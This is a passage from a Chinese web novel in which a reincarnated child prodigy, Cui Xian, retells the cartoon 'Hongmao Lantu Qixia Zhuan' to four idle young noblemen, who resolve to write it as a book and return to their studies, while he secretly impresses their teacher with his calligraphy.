培养书粉。 然后再卖‘周边手办’。 这一套组合拳打下来。 不说让崔家大富大贵,开一间‘正版手办店铺’源源不断生财,绝对问题不大。 千万别小瞧二次元粉丝的购买能力! 而崔岘选中的故事,就是以侠肝义胆、拯救天下苍生为主题,深受90后喜爱的武侠动画故事—— 《虹猫蓝兔七侠传》。 八岁孩童,写动画话本,很合理啊。 而且做生意终究是‘小道’。 贸然把四位大哥拉上贼船,他们的家长八成会有意见。 但换个思路……四位不学无术的纨绔,共同出了一本书! 话本也是书啊! 崔岘敢肯定,这本书一旦出版爆火,赚钱是次要的。 四位大哥的家长,绝对能开心到流泪高呼‘祖坟冒青烟’、‘我儿出息了’。 帮助四位纨绔‘走上正途’的崔岘,必定能获得四位大哥家族的感谢! 而崔岘要借此,为崔家进行一次钱财、社会地位、人脉关系网的全面大升级。 把崔家从偏僻穷困的河西村捞出来! 卧房里。 听到这个奇怪的话本名字,四位才子互相对视,都没吭声—— 感觉,完全不太行的样子。 但他们都没有扫兴,认真做倾听状。 崔岘稚嫩的话音,缓缓在卧房内响起。 “话说,这世间有一风景秀丽之山林,名为张家界。林中鸟兽和睦,流水潺潺。却因一场大火,让平静的森林,陷入了前所未有的危机……” “原来,有人在故意纵火!是魔教教主黑心虎时隔五十年卷土重来,带领麾下成员放火烧山,欲捉拿森林灵兽玉麒麟,妄图喝下麒麟血增强内力,称霸武林!” “为维护森林安危,五十年前,虹猫的父亲,联合蓝兔的母亲等七人,七剑合璧打败黑心虎,但七剑同样非伤即残。” 一开始,四位才子只是漫不经心的听着。 可只听了个开头,四人便愣住了。 好像……有点东西啊? 高奇对这种武侠奇幻话本最为钟情,没忍住问道:“七剑?” 崔岘笑道:“是七柄闻名天下的神剑,一曰:长虹,二曰:冰魄,三曰:紫云,四曰:雨花,五曰:奔雷,六曰:青光,七曰:旋风。” 听闻这七柄神剑的名字,四位才子神情一凛。 好厉害的样子! 裴坚心中已经开始期待了,催促道:“继续继续。” “大火烧山之日,魔教倾巢出动,一场血战,虹猫父亲最终因寡不敌众,英勇牺牲。” 听到这里,庄瑾一拍桌子:“该死的黑心虎!” “虹猫悲痛欲绝,但为了森林能回归安宁,为了苍生大义,他决定接受父亲的临终嘱托,持长虹剑、骑玉麒麟下山,寻找其余六剑传人,七剑合璧,打败黑心虎铲除魔教!于是,一场虹猫少侠,与魔教的纷争,缓缓拉开帷幕……” 李鹤聿坐直了身体,表情微微发紧:“一定要赢啊,虹猫少侠!” “然,魔教爪牙众多。在逃亡下山的路上,虹猫遭遇牛旋风、猪无戒先后带领黑衣人来围剿。虹猫被逼上悬崖,多次周旋后,眼看就要突围。却不曾想,黑心虎率领属下赶到!双方敌我悬殊,虹猫不敌,身中数箭,坠落悬崖……” 嘶! 听到这里,四位少年神情齐齐发白,倒抽冷气。 他们已经进入故事里,发自内心的为主人公虹猫少侠的安危而揪心。 崔岘一边讲述,一边观察四位少年的表情,心中暗笑。 前世他年幼的时候,看《虹猫蓝兔七侠传》,表情要比这几人更加急切、担忧。 纵览上辈子数十年播出的动画作品,没有一部,注意,是没有一部作品的主角人设,能比得上虹猫! 侠之一字,在虹猫身上,被体现的淋漓尽致! 前世,这部动画片在全球五百多个电视台同步播出,收视率爆火的同时,同名畅销书还售出了一千五百多万册。 成绩之出色,令人瞠目。 而武侠奇幻故事,不脱离实际,又通俗易懂。 再加上《虹猫蓝兔七侠传》剧情跌宕起伏,世界观设定完整,人物个个鲜明出彩。 放在古代出版也不会觉得违和,并且同样具备爆火潜力。 单看眼前四位才子此刻急不可耐的表情,便可窥探一二! 届时等此书上市,先赚一波稿费培养书粉,然后再割韭菜……不对,再卖正版手办,开一个七侠主题体验店! 全南阳的小男孩、小女孩们,怕是都得‘疯’! 崔岘眼神发亮,感觉自己看到了源源不断的银子,纷纷向自己砸来。 四位才子同样眼神发亮,急切催促道:“然后呢,然后呢!接着讲啊!” 22、纨绔著书 “蓝兔真好,嘿嘿!” “该死的马三娘,她竟然是卧底,气煞我也!” “好在黑心虎麾下的跳跳,是七剑传人的卧底,一直在暗中帮助其余六剑传人。” “黑小虎真可恨,但也有些可怜……” 今夜注定无眠。 四位小少爷从一开始对崔岘的话本嗤之以鼻,到现在,彻底沉浸其中! 他们命家仆点燃起油灯。 四人乖巧排排坐,如痴如醉聆听崔岘讲《虹猫蓝兔七侠传》。 崔岘讲了整整一夜。 嗓子都沙哑了。 天光破晓之时,故事终于讲到了尾声—— “黑小虎被炸死后,黑心虎悲痛至极,决意杀七剑复仇!大军围困十里画廊……” “……危急关头,七剑最终成功合璧,杀死黑心虎,粉碎了马三娘的阴谋。” “森林,终于再次恢复了往日的安宁与和平。” 话本剧情结束了。 听故事的几位少年,却神情恍惚不定,久久不语。 他们的心思,仍旧沉浸在故事里走不出来。 仿佛跟着虹猫少侠,跟着七剑一起,经历了一段波澜起伏的救世之旅。 太震撼了! 太精彩了! 看着满脸惊艳的少爷们,崔岘心中暗笑,面上佯装忐忑迷茫:“我的话本讲完了,四位大才子,为何一直沉默不语,可是我这话本,太过于差劲?” 啊?差劲? 谁敢说这话本差劲,少爷把他脸扇烂! 裴坚第一个跳起来,激动道:“不差劲,一点都不差劲!这是我听过的,最精彩绝伦的故事。” 其余三人疯狂点头。 然而面对四位激动的少爷,崔岘则是苦恼道:“我,我倒是想写。可我没有开蒙,只跟着我爹、大伯学习了几天,勉强认识一些字而已。至于写字,那真是难到我了。” 房间里顿时陷入死一般的沉默。 许久后。 高奇磕磕巴巴的说道:“岘弟……你,你的意思是说,你还尚未开蒙,就能构思出如此精彩绝伦的话本故事了?好厉害!” 崔岘眨眨眼:“对啊,但这一点都不厉害。我大哥裴坚,夫子惊呼状元之姿,河南神童第三,那才叫厉害!” 裴坚闻言差点没把自己舌头咬断。 就听崔岘又说道:“还有你们其余三位,和我大哥一样优秀。小小年纪,便是南阳名声赫赫的神童天才!和你们比,我简直微不足道。” 这下,其余三位少爷的表情同样十分精彩。 片刻后他们反应过来,各自装模作样晃动折扇,或尴尬、或心虚:“啊对对,我们也是很优秀的。” “岘弟你虽然也很优秀,但还是比不上我们。” “但岘弟你无需自卑,你……咳,只差我们一点点,对,一点点而已。” 崔岘眼睛里的笑意越发浓郁,郑重道:“所以,我想请四位大才子帮忙,合力将《虹猫蓝兔七侠传》的故事写出来!” “届时,你们南阳四大才子的才名,绝对会响彻整个南阳县城。” ……天呐! 四人闻言表情晕晕乎乎,惊呆了! 崔岘愿意把这个故事,署他们的名,共同著书? 那他们伪装的‘南阳四大才子’,是不是有可能变成真的? 到时候他们走出门,一群路人围观惊叹,前呼后拥。 那得是何等风光的事情啊! 单是想想那个画面,四个小少爷就脸色涨红,爽到头皮发麻。 还有还有! 骂他们不成器的夫子,笑话他们废柴的同窗,对他们失望的爹娘—— 到时候估计都会被震惊到瞠目,对他们刮目相看。 这诱惑力,太强了! 裴坚咽了咽口水:“但,但这个故事,是你独自构思的啊,我们真的可以署名吗?” 崔岘点头,目光崇拜:“我虽构思了故事,却不会写字。唯有你们四个才子,才能将《虹猫蓝兔七侠传》的故事写的跌宕起伏。” “虹猫少侠是否能问世,全靠四位了!” 崔岘的话,仿佛带有某种魔力。 一瞬间,把四位少爷的血液都点燃了! 听起来真的好有使命感啊! 四人互相对视,而后庄瑾率先说道:“岘弟,不然你先去歇息,我们商议一番,再给你答复,如何?” 崔岘笑道:“好啊。” 他不介意署名这种东西,最后能赚钱就行。 拉四位少爷入伙,将来赚到的,绝对比一个所谓的‘署名权’要多的多。 何况崔岘要的‘名气’,不在话本里。 而在裴氏族学,在吴清澜夫子那里。 等崔岘走了。 高奇第一个嚷嚷道:“裴坚,你这小弟还未开蒙,就能构思出如此精彩的故事,绝对是位神童天才!但他竟然认你做了大哥,还崇拜我们四个废柴臭皮匠!” 这……多荒谬啊! 裴坚一瞬间觉得压力倍增:“我也是今日才知道,他竟如此优秀!你们说,以后他发现我是个废柴,会不会嫌弃我,不认我做大哥了?” 其余三位少年顿时用同情、幸灾乐祸的目光看向裴坚。 裴坚嘴角一瘪。 他不想失去自己的小弟! 庄瑾想了想,试探性说道:“不然,我们同意崔岘的提议,共同署名著书?” 见其余三人都露出不赞同的谴责表情。 庄瑾赶忙解释:“你们想什么呢,我肯定不会抢夺岘弟的著作!我意思是,署名的时候,在书里标注,崔岘讲述构思,我们四人代笔著写!” “再然后,我让家里的书肆大批量印刷,把《虹猫蓝兔七侠传》铺满整个南阳县的书铺!” “你们仨负责把这本书,送给南阳县城有头有脸的人家,帮忙宣传造势!” “当然,赚的稿酬我们一文不能要,全归岘弟。” “等这话本出版了,咱们四个也算有点才名,到时候也不至于在崔岘小弟面前丢脸。” 不愧是南阳首富的儿子,在经商一道,庄瑾可谓是思路通透至极。 其余三人闻言眼睛亮起来。 裴坚闻言当即第一个表示同意:“我觉得可行!” 四人商议过后,都兴奋同意。 而后裴坚把崔岘喊进来,告知他们商议的结果。 崔岘见四位少爷摩拳擦掌的激动模样,笑道:“我听几位兄长的。” 一个简单的‘署名权’,让少爷们有了非常真实的参与感,鼓足劲准备著书。 趁着情绪正激动。 裴坚四人当场研墨,打算笔走龙蛇,写出一篇惊世话本! 崔岘在旁边做崇拜期待状。 然而片刻后。 裴坚手持毛笔,迟迟不肯落下。 高奇写了几行字,随后脸色微红,赶紧把那张纸皱成一团,塞进衣袖。 李鹤聿支支吾吾,表情尴尬。 庄瑾咬着笔杆,苦苦沉思。 崔岘佯装疑惑:“敢问四位大才子,为何还不开始呢?” ……他们倒是想开始啊! 可一个个平时废柴惯了,荒废学业,不仅字迹歪歪扭扭丑陋,而且毫无文采可言。 大火烧山,火光漫天该如何形容? 魔教大兵压境,又是何等恢宏? 火舞旋风、长虹贯日、紫气东来、冰天雪地、奔雷滚滚……这些令人目眩神迷的招式,要如何描绘出画面感? 难! 太难了啊! 吃了没文化的亏,万般思绪到落笔那一刻,竟一个字都写不出来! 生平头一次,四个纨绔开始后悔,当初怎么就没有认真用功学习呢? 面对崔岘的疑惑不解。 裴坚轻咳一声,一本正经道:“一夜没睡,太累了,状态不是很好。” 其余三位少爷赶紧附和:“是极是极,而且白日咱们还得去学堂读书,放学后再写。” 至于为什么要主动去学堂? 当然是为了向夫子请教如何描述话本剧情,然后著书啊! 崔岘也不拆穿,笑着点头道:“好!” 因为不出意外的话,接下来的出书赚钱计划,会非常顺利。 他将获得四个大家族的友谊和帮扶! 四位少爷约好待会儿去学堂,各自神情激动归家。 一盏茶时间后。 裴家、高家、庄家、李家的长辈们,纷纷震惊到瞠目。 刚睡醒,尚且还在迷蒙的裴老夫人看向小孙子,不确定道:“……你,你说什么?你刚才是不是在问我,你父亲、祖父何时归家?你想要向他俩请教学问?你今日还要先去学堂,向吴夫子请教?” 裴坚神情郑重:“当然!我没跟您开玩笑,祖母您赶快写信,让我父亲、或者祖父,不管是谁,赶快回来一个,我打算请教他们如何著书!” 裴老夫人惊呆了。 随后她晕乎乎反应过来——岘哥儿,他真的让裴坚七天内爱上学习了! 高家。 千户大人懵逼的看向自己的纨绔儿子,掏了掏耳朵:“你,要著书?” 高奇激动大声嚷嚷:“对啊,著书!爹,我现在就是后悔,非常后悔!以前怎么就不知道用功读书呢!我将来,可是要做南阳四大才子的!” 李家。 闻名南阳府的建筑工匠大家,恍惚看向自家逆子:“你要做南阳四大才子?后悔以前没有用功读书?” 李鹤聿振振有词:“自然!爹,你以前太纵容我了,我不读书,你都不知道狠狠打我一顿!否则我怎么可能在岘弟面前,丢这么大的脸面!” 庄家。 南阳首富晕晕乎乎的问道:“岘弟,是谁?” 庄瑾一脸眉飞色舞:“他是裴坚的小弟,嗯,也是我小弟!啊,虽然他拒绝我了,但我决定单方面给他做大哥!爹你都不知道,崔岘小弟说话好听,还会写话本,厉害的很,是个超级小天才!” “我答应他,帮他把话本写出来。所以从今天开始,我要用功读书,练字,磨砺文笔,绝对不能辜负崔岘小弟的期待和信任!” “因为,虹猫少侠是否能问世,全靠我们几个了!” 最后。 四位纨绔少爷,坚定向各自的长辈发出表决—— “总之,我们要开始著书了!从今天起,谁都别想阻拦我们去学堂读书学习!” 天呐! 这是太阳打西边出来了吗? 从小厌学,看到字就头疼,天天不干人事,总跟夫子干架的纨绔儿子,突然要一心学习了? 纨绔著书什么的,听起来实在是天方夜谭。 但儿子终于肯上进学习,四个豪门长辈们,都激动到喜极而泣。 李、庄、高三家的长辈,更是在兴奋激动之余,忙不迭吩咐各自的管家: “去,快去打听打听,那崔岘究竟是何方高人,竟然能让少爷转性,用功学习?他简直是咱们家的大恩人呐!” 23、朽木……发芽了? 当四位纨绔的长辈们,正欣慰到落泪的时候。 裴氏族学外。 裴坚、高奇、庄瑾、李鹤聿身穿长衫,手执折扇并排而立。 一个个姿态无比嘚瑟。 崔岘躲在他们身后,嘴角微微抽搐。 几乎在他们出现在族学外的同一时间,便吸引了无数学子……鄙夷、嘲讽的目光。 偏偏四位少爷却毫不介意。 半月前,四人同吴夫子狠狠吵上一架,并放出豪言:少爷我此生不再进学堂一步。 昨日,裴坚重新回来上课。 今日更离谱,这四个不学无术的纨绔,竟一起回来了! 迎着诸多同窗们‘崇拜’的目光,裴坚一甩折扇:“兄弟们,准备好了吗?我们去找吴清澜那厮!” 其余三位纷纷热血作出回应。 “准备好了!” “开启属于我们的战斗吧!” “此战,必胜!” 四人说完后,迈出六亲不认的步伐,气势汹汹朝学堂里走去。 崔岘用衣袖掩面,默默跟上。 学子们见状,纷纷惊骇侧目。 教舍里。 吴清澜正在向学子们讲解八股破题之法。 一位学子慌张冲进来:“吴夫子,不好了!那四位少爷,气势汹汹杀进族学里来了。他们还说……还说要找您来战斗!” 哗! 课堂里一片哗然。 吴清澜勃然大怒,将戒尺紧紧握在手中,大步流星向外走去:“且看我今日,将这四根朽木狠狠教训一番!” 有好戏看,学子们无心上课,一窝蜂跟出去凑热闹。 等裴坚四人‘满脸杀气’的走进来后,众人无不惊呼。 吴清澜发出一声冷哼,便要开骂。 不曾想。 裴坚四人率先站定,齐齐朝吴夫子作揖礼:“学生等人,特来向夫子讨教学问!” 什,什么? 听闻这话,族学中剑拔弩张的氛围为之一滞。 一群围观的学子们险些惊掉下巴。 吴清澜也有些傻眼。 这四人气势汹汹来族学,不是为挑衅,而是为了……讨教学问?! 当真稀奇! 愣神片刻后,吴清澜收起怒容,轻咳一声,表情仍有狐疑:“你们遇到了什么难题?” 众目睽睽之下。 裴坚努力压住自己嘚瑟至极的表情,故作沉稳道:“学生四人,计划合力著书,特请吴夫子帮忙指点一二。” 著……什么? 著书? 他话音落下,族学里的氛围更加安静诡异。 高奇紧跟着道:“此书名为《虹猫蓝兔七侠传》,讲述的是一个侠气肝胆,拯救天下苍生的故事。” 李鹤聿忙不迭做补充:“没错没错!届时此书上市,必定爆火。” 三人表情郑重。 但他们越是郑重,在众人看来,则是越发荒诞可笑。 “哈哈哈哈哈。” “他们几位,今日又是抽的什么风!” “《虹猫蓝兔七侠传》?什么破名字!” 眼看周遭嘲笑的声音越发激烈,裴坚偷偷瞄了一眼崔岘,随后给庄瑾打了个眼色。 庄瑾会意。 他走到崔岘身边,压低声音道:“岘弟,以后在学堂,别听这些人胡说八道。你知道的,我们四大才子实在过于耀眼,是以难免树大招风,惹人妒忌。” “而且写话本属于小道,这些书呆子清高无知,难免有些瞧不上。” “你可莫要听到一些风言风语,就怀疑我们四大才子的横溢才华。” 崔岘强忍住笑意,点头道:“庄兄放心,我深知你们和我大哥一样,都是神童。” 庄瑾狠狠松了口气。 而后转了转眼珠子,继续道:“你能这么想,那实在是再好不过了。这样,接下来我们四人,要同夫子激烈探讨学问,不如岘弟你去耳房中稍作休息。” 崔岘心知这是庄瑾要把自己支开,刚好他也要再去一趟耳房。 于是顺势道:“好。” 目送崔岘去了耳房,再看看周遭嘲笑奚落自己的同窗们,庄瑾深吸一口气。 笑吧笑吧。 等《虹猫蓝兔七侠传》出版上市,小爷就把你们的脸都扇肿! 另一边。 听完裴坚等人的话,吴夫子沉默片刻,才说道:“好,那你们倒是说说看,著书的哪个环节遇到了难题?” 裴坚表情懒散道:“开篇。” 吴清澜:? 开篇都不会写,还要著书? 见吴清澜脸色不对劲。 李鹤聿赶忙在旁边打圆场:“裴坚的意思是,开篇我们需要描述一场很大、很大……呃,很大的山林之火。但不管我们如何写,都觉得无法描述出这场大火的气势。” 吴夫子闻言冷笑一声。 这次轮到四位纨绔:? 支开崔岘的庄瑾走过来,压住怒意道:“你什么意思?别人讨教学问,你好声好气。我们讨教学问,你就冷笑不屑。” 歧视!这绝对是歧视吧! 吴夫子表情更加难堪:“平日你们荒废学业,从不认真读书。以至于今日描述山林大火,只能用很大、很大,来形容。我冷笑,你们还不服气?” 那当然不服啊。 崔岘不在,裴坚的耐心基本等于零,烦躁道:“别讲这些大道理,那你倒是来说说看,该如何描述森林大火。” 便听吴夫子再次冷笑一声,说道:“与火相关的内容,尤其以天象、灾异描述最多的,当属《尚书》。” “《尚书·洪范》篇有言,火曰炎上。你们要写大火,单只用一‘大’字来描述,徒有其表,实在令人发笑!火势熊熊向上,炙热猛烈,焰光冲天翻滚,写出其势!” “《诗经·小雅·十月之交》篇有言,烨烨震电。虽是描述雷霆而非火焰,但你们同样可以借‘烨烨’来描述火势猛烈,烨烨火光,直逼苍穹。” “《易经·说卦传》篇有言,离为火,为日,为电。你们可借用离卦所象征的释义,离为火,火既能照明,却也同样伴随毁灭。火势如离,万千林木焚烧殆尽。” “《左传》记载,火焚其室,荡然无存。你们要写大火,当学习其笔法,写出大火的凶猛和破坏力。如草木成灰,鸟兽哀鸣,烟尘蔽日,天地为之色变。” 听完吴夫子一番引经据典,四位朽木目瞪口呆。 单单是写一场大火,都能玩出如此多的花样来? 那想要写完一整部话本,得多困难啊! 四位少爷眼神呆滞。 身为师长,吴清澜最喜欢学生在自己面前露出这般‘没见识的佩服惊叹目光’。 见震慑住了这四根朽木,吴夫子心情极好,悠悠讽刺道:“怎么,这就怯了?那本《虹猫蓝兔七侠传》的话本,我有生之年,还能看到吗?” 裴坚闻言大怒:“谁怯了!你且等着,不出一月,我们必定写出来!” 吴清澜面无表情‘哦’了一声:“既然如此,那还不去学堂听课?不好好用功学习,拿什么写书?” 四位纨绔互相对视,一咬牙,乖乖去了学堂。 这下,吴清澜是真的心中纳罕。 难不成……这几位纨绔是认真的? 本来准备围观四位纨绔挑衅师长的学子们,见裴坚等人竟真开始虚心请教学问,顿觉无趣,各自散去。 吴清澜继续去学堂讲课。 没有人注意到,跟在四大纨绔少爷身边的那位书童,再次悄悄去了耳房。 这不怪众人。 实在是四个纨绔太过于扎眼,以至于崔岘的存在,完全被忽略了! 耳房里。 崔岘看着吴清澜给自己批注的‘朽木不可雕也’,噗嗤笑出声。 单看这笔走龙蛇、带有锋芒的字迹,便能想象出昨日吴夫子的心情有多愤怒。 笑完了,崔岘再次研墨,取出一张白纸,置于案上。 这次,他依旧用左手执笔。 只是手腕上没有放砚台。 重活一世,换了一具年轻的身体。 崔岘如今腕力严重不足,前世练就的书法底蕴,十去其九,只留其一。 但那一分,是意,是势,是韵,是形与神的结合。 用如今稚嫩的手腕,放开来写,做不到遒劲磅礴,但绝对蕴藏灵气。 更何况,他前世常年描摹的,还是书圣王羲之的字帖! 等再过些时日,‘神童天才计划’初步奏效,能光明正大入族学读书后。 崔岘便要摆正心态,重新开始练习书法了! 但现在还急不得。 心中这样想着,崔岘再次用左手,写了一篇字帖。 而后深藏功与名,悄然离开。 半个时辰后。 讲完课的吴夫子回到耳房,目光下意识再次看向案台。 果然又有一篇新的字帖等待自己批阅! 该不会又是那位‘朽木’吧?字迹写的如此丑陋,毫无半点学习的心态,竟然还敢来写字? 难道他没看到自己‘朽木不可雕也’的批注嘛! 连裴坚等人今日都有‘朽木发芽’的趋势,也不知这根不知名的朽木,是否有进步。 心里这样想着,吴夫子拿起那张字帖,眯眼看清楚上面的内容后,勃然大怒。 岂有此理! 盖因那张字帖上,写满了‘朽木不可雕也’! 吴清澜轻松认出,这张字帖依旧出自昨日那根‘朽木’之手。 此人不但字写的丑,还猖狂无礼,不敬师长,竟然敢骂学堂夫子是‘朽木’…… 等等。 只愤怒片刻后,吴夫子反应过来。 此人并非是在骂人,应该是在临摹‘朽木不可雕也’这几个字。 字帖前面几行,那字迹仍旧丑陋不堪入目。 可等到中间几行的时候,字迹逐渐开始端正许多,学会了用腕力,纸面墨痕由淡转浓。 吴夫子发出一声轻‘咿’。 再然后,等看到字帖的最后几行,吴夫子眼睛微微亮起。 不错不错,竟然还有几分‘笔锋’蕴藏其中了。 只是这笔锋,怎么越看越熟悉呢? 吴夫子拧起眉头,略做沉思,随后眼睛瞪得滚圆! 因为那笔锋,正是他自己的啊! 写这篇字帖的人,在临摹自己‘朽木不可雕也’的批注笔迹! 而且还真临摹出了些许韵味! 吴夫子心中震惊,慌忙把昨日那张字帖找出来,再对比今日这张字帖,这样对比一看,简直令人震撼。 短短一日时间过去,此人的字迹,已经从不堪入目,到临摹出笔锋了! 虽然字迹仍旧极其稚嫩生涩丑陋,但,这才过去短短一日啊! 堪称进步神速! 这,今日学堂里的朽木,怎么争相开始发芽了? 不不不,如果说裴坚等人是朽木发芽的话。 那写这篇字帖的人,属于夸张到直接长出枝桠了! 此人究竟是谁? 吴夫子心中欢喜,急忙沾红墨写下和昨日截然不同、却简洁有力的批语: “进步神速飞快,大善!” 24、可怕的无敌超级天才 写完批语后。 吴夫子急忙起身,找到负责打理耳房的仆从,问:“你可曾留意,方才是谁在案前写字?” 仆从面露难色:“这……小的不知。” 每日进出耳房之人众多,如何留意? 耳房外。 崔岘站在角落里。 远远看着吴清澜拿着一张字帖,在跟仆从交代什么。 若是所料不差,吴夫子应该是在交代仆从,留意在耳房写字帖之人。 崔岘笑了笑,深藏功与名,慢悠悠离开。 恰逢这时候,裴坚四人下课。 并排从课堂里走出来,四位纨绔脸上写满了同款的‘颓丧’、‘疲惫’、‘生无可恋’。 太难了! 以他们四人这学渣水平,真的能把《虹猫蓝兔七侠传》写出来吗? 昨日,裴坚几人热血上头,信心满满。 可今日,先是被吴夫子一番嘲讽,又上了一节课,四位纨绔深受打击,心都凉了! 他们好像真就不是读书的那块料。 远远瞧见这四人的表情,崔岘心中了然,正琢磨着,该如何给少爷们打波鸡血。 不曾想,瞧见崔岘,四人表情齐齐振奋起来。 裴坚率先冲过来,压低声音道:“岘弟,走,咱们回家。” 其余三位少爷同样表情贼兮兮的:“对对,回家,有正事儿要做!” 崔岘:? 什么正事儿? · 约莫一盏茶功夫后。 裴坚的书房里。 崔岘被四位少爷,强行要求在案前坐下,神情疑惑。 便见裴坚轻咳一声,神情诡异的从书箱里掏出一本《千字文》,放在崔岘面前。 接着,裴坚解释道:“岘弟,这本书叫做《千字文》,是学子们必学的开蒙书籍。现在,我教你认字,我读一句,你读一句。” 虽然崔岘聪慧,但一时间也没明白裴坚闹得哪一出,试探性问道:“大哥为何突然要教我认字。” 这…… 我总不能说,你还未开蒙就能构思出《虹猫蓝兔七侠传》这样精彩绝伦的故事,疑似是个超级神童小天才。 作为你的大哥,我压力很大。 所以我们四人商议后,决定用《千字文》来试探一下,看你究竟是不是个超级小天才吧。 裴坚压下心中所想,一本正经胡诌:“你大哥我,有状元之姿,在场其余三位,也是南阳有名的大才子。你即将和我们一起著书,但却目不识丁,实在有点拖我们的后腿。” 庄瑾在旁边补充道:“当然了,只拖了一点点。” 李鹤聿、高奇连连点头:“但只要你认了字,就能和我们一样优秀了!” 奥。 听完这些话,崔岘大概明白四位少爷的想法了。 他压下眼睛里的笑意,决定顺水推舟,佯装毫不知情,点头道:“好!请四位大才子放心,我一定努力学习。” 于是,裴坚翻开那本《千字文》,指着上面的内容对崔岘道:“来,我读一遍,你跟着读一遍啊……天地玄黄,宇宙洪荒。日月盈昃,辰宿列张……” 崔岘跟着朗读:“天地玄黄,宇宙洪荒。日月盈昃,辰宿列张。” 作为古代学子的开蒙读物,《千字文》全篇共一千个不重复的汉字,对仗工整,内容丰富。 包含了天文、地理、历史、道德等多方面的知识。 崔岘本来还在琢磨,该怎么混过开蒙,跳到‘中班’、或者‘大班’去读书。 现在,机会来了。 四位纨绔在教他开蒙! 以后别人问起来,崔岘就可以坦然相告:“开蒙?我大哥教我的啊!” 书房里。 在其余三位纨绔少爷紧张的注视下,裴坚带着崔岘朗读千字文。 裴坚读一遍。 崔岘跟着复读一遍。 许久后,一本书终于读完。 裴坚喝了口水,润一润略显沙哑的喉咙,下意识模仿起吴夫子的架势,说道:“学会了吧。” “学会了。” 见裴坚读完了,在喝水润嗓子。 庄瑾赶紧接替他,对崔岘说道:“岘弟,没学会没关系,来,我再带你读……等等?” 庄瑾说到一半,突然反应过来,提高声音道:“你刚才说什么,学会了?” 其余三位少爷也不可思议的看过来。 裴坚端着茶盏的手微微一抖,险些没拿稳。 迎着四人震惊的目光,崔岘无辜点点头:“对啊。” 怎么可能! 裴坚不信邪,慌忙放下茶盏,把《千字文》翻到第一页:“既然学会了,那你自己读一遍。” 其余三位少爷目光紧紧盯着崔岘。 便见崔岘点点头,拿起书,字正腔圆的开始朗读:“天地玄黄,宇宙洪荒。日月盈昃,辰宿列张……” “吊民伐罪,周发殷汤。坐朝问道,垂拱平章。” “宫殿盘郁,楼观飞惊。图写禽兽,画彩仙灵。” 书房里。 崔岘手拿《千字文》,一字一句朗读。 一开始。 四位少爷神情狐疑,满脸不相信。 片刻后,他们齐齐瞪大眼睛。 不是,真会读了啊? 但应该只是会读前面几句吧。 可崔岘读完了前面几句,仍旧不停歇,非常流畅的继续往下读。 而且一个字都没有读错! 裴坚嘴巴张的足以塞下拳头。 李鹤聿表情呆滞。 高奇倒抽冷气。 庄瑾嘴唇发颤,一直在喃喃‘不可能’。 房间里陷入死一般的寂静。 “孤陋寡闻,愚蒙等诮。谓语助者,焉哉乎也。” 直到崔岘读完了最后一句话,合上书,说道:“我读完了。” 如果换成学堂夫子教学,崔岘肯定不会这样。 他现在就是欺负这几个纨绔学渣没见识,好糊弄。 偏偏四人还给自己立了个‘神童才子’人设,遇到崔岘这个真天才,实在没底气质疑。 “……” 四位纨绔互相对视,都看到彼此一副‘见鬼了’的震撼表情。 良久后,不死心的裴坚试探性问道:“岘弟,你以前在家里,学过《千字文》吧?” 其余三位纨绔闻言,眼睛里顿时泛出希冀的光芒:一定是这样的!崔岘以前肯定学过!这世间,怎么会有人读一遍《千字文》就学会了呢! 绝对不存在这样的天才! 你这样,还让我们这些废柴怎么活? 然而,四位纨绔今日注定要失望了。 就见崔岘摇了摇头:“我在家只跟着我爹学过《三字经》,没有学过《千字文》啊。刚才大哥带我读了《千字文》,然后我就学会了,大哥教的真好!” 说到这里,崔岘故作忐忑的看向四人,满脸愧疚自卑:“对了,大哥为何这么问?可是因为我太过愚笨,全读错了?唉,真羡慕大哥,和你们三位才子,从小就天资惊艳,满身才气。” “不像我,太笨了,根本学不会。” 四人:“……” 不,你没错。 是我们错了。 我们错就错在,废柴如我们,就不应该活在这个世上。 更错在,我们四个废柴,竟然还在你面前卖弄,自称天才神童。 “还……还好,你其实,嘶,还算优秀,勉强也能跟我们相提并论。” 半晌过后。 裴坚艰难的说出这番违心的话,而后又说道:“这样,岘弟,你,你先出去,我们四人要开始做功课了。” 崔岘点点头,起身离开。 等确认崔岘走了,裴坚身子一软瘫倒在地,喃喃震撼道:“这世间,竟然有如此可怕的超级天才!更可怕的是,他还认我做了大哥!这……这可如何是好啊!” 其余三人同样神情呆滞,不停倒抽冷气。 若是换成吴清澜这样的学堂夫子,或者族学里的普通学生,此刻估计都会第一时间提出质疑。 偏偏这四位学渣,学业不精,作为朽木,哪里敢有底气质疑天才? 不不不。 崔岘这都不仅仅是天才了,是可怕的无敌超级天才! 裴坚四人回想起这些天,自己在崔岘面前吹过的牛,只觉得羞愧难当、尴尬到无地自容。 半晌后。 庄瑾喃喃道:“……要把崔岘小弟引荐给吴夫子吗?吴夫子出了名的惜才,绝对会亲自教导岘弟的。” 25、不可能! 书房外。 崔岘佯装离开,但其实躲在窗边,偷听里面四位纨绔少爷的谈话。 听到庄瑾说,要把自己引荐给吴清澜,崔岘微微挑眉。 看来要改变计划了。 他本来准备再藏一段时间。 让吴夫子抓耳挠腮,因错过一位天才而捶胸顿足之后,再‘显露真身’呢。 但下一刻。 就听裴坚略微提高声音道:“不行!不能介绍给吴清澜!我的意思是,少爷我的小弟,可是超级绝世大天才!吴清澜他一个破秀才,也配做我小弟的老师?” “而且,岘弟如今顶着书童的身份,贸然在族学里展现天分,难免遭人妒忌非议。” “我打算把岘弟介绍给我父亲,和我祖父!他俩虽然也不咋地,但好歹是举人,勉强也够格给我小弟做老师了。” “再加上《虹猫蓝兔七侠传》即将出版,到时候,岘弟的名声绝对会风靡整个南阳县城!” 说到这儿,裴坚停顿片刻,声音莫名低落下去:“他,他才是真正可以做南阳大才子的超级神童。” 书房里陷入沉默。 庄瑾、李鹤聿、高奇三人,见裴坚表情失落,纷纷走上前来,拍拍他的肩膀以示安慰。 “兄弟,想开点,你也不差啊。”庄瑾一把揽住裴坚,笑嘻嘻的说道:“毕竟你可是南阳超级神童的大哥!” 此话,让书房里略显沉闷的氛围为之一松。 高奇也得意说道:“还有咱们仨废柴,也是被南阳超级神童称上一声‘大才子’的厉害人物啊!” 裴坚‘噗嗤’贱笑出声:“真不愧是少爷我的狐朋狗友,你们几个,当真贱到无敌!来来来,给少爷我研墨。 “要给我家老子、老爷子写信,希望他俩别不识好歹,速速从开封赶回来,给我小弟做老师。” 其余三人闻言,隐秘互相对视,状似若无其事的帮忙研墨。 假装没有看到裴坚微微发红的双眼。 等拿起笔,写了足足五页纸张,将崔岘好一通吹嘘夸赞后。 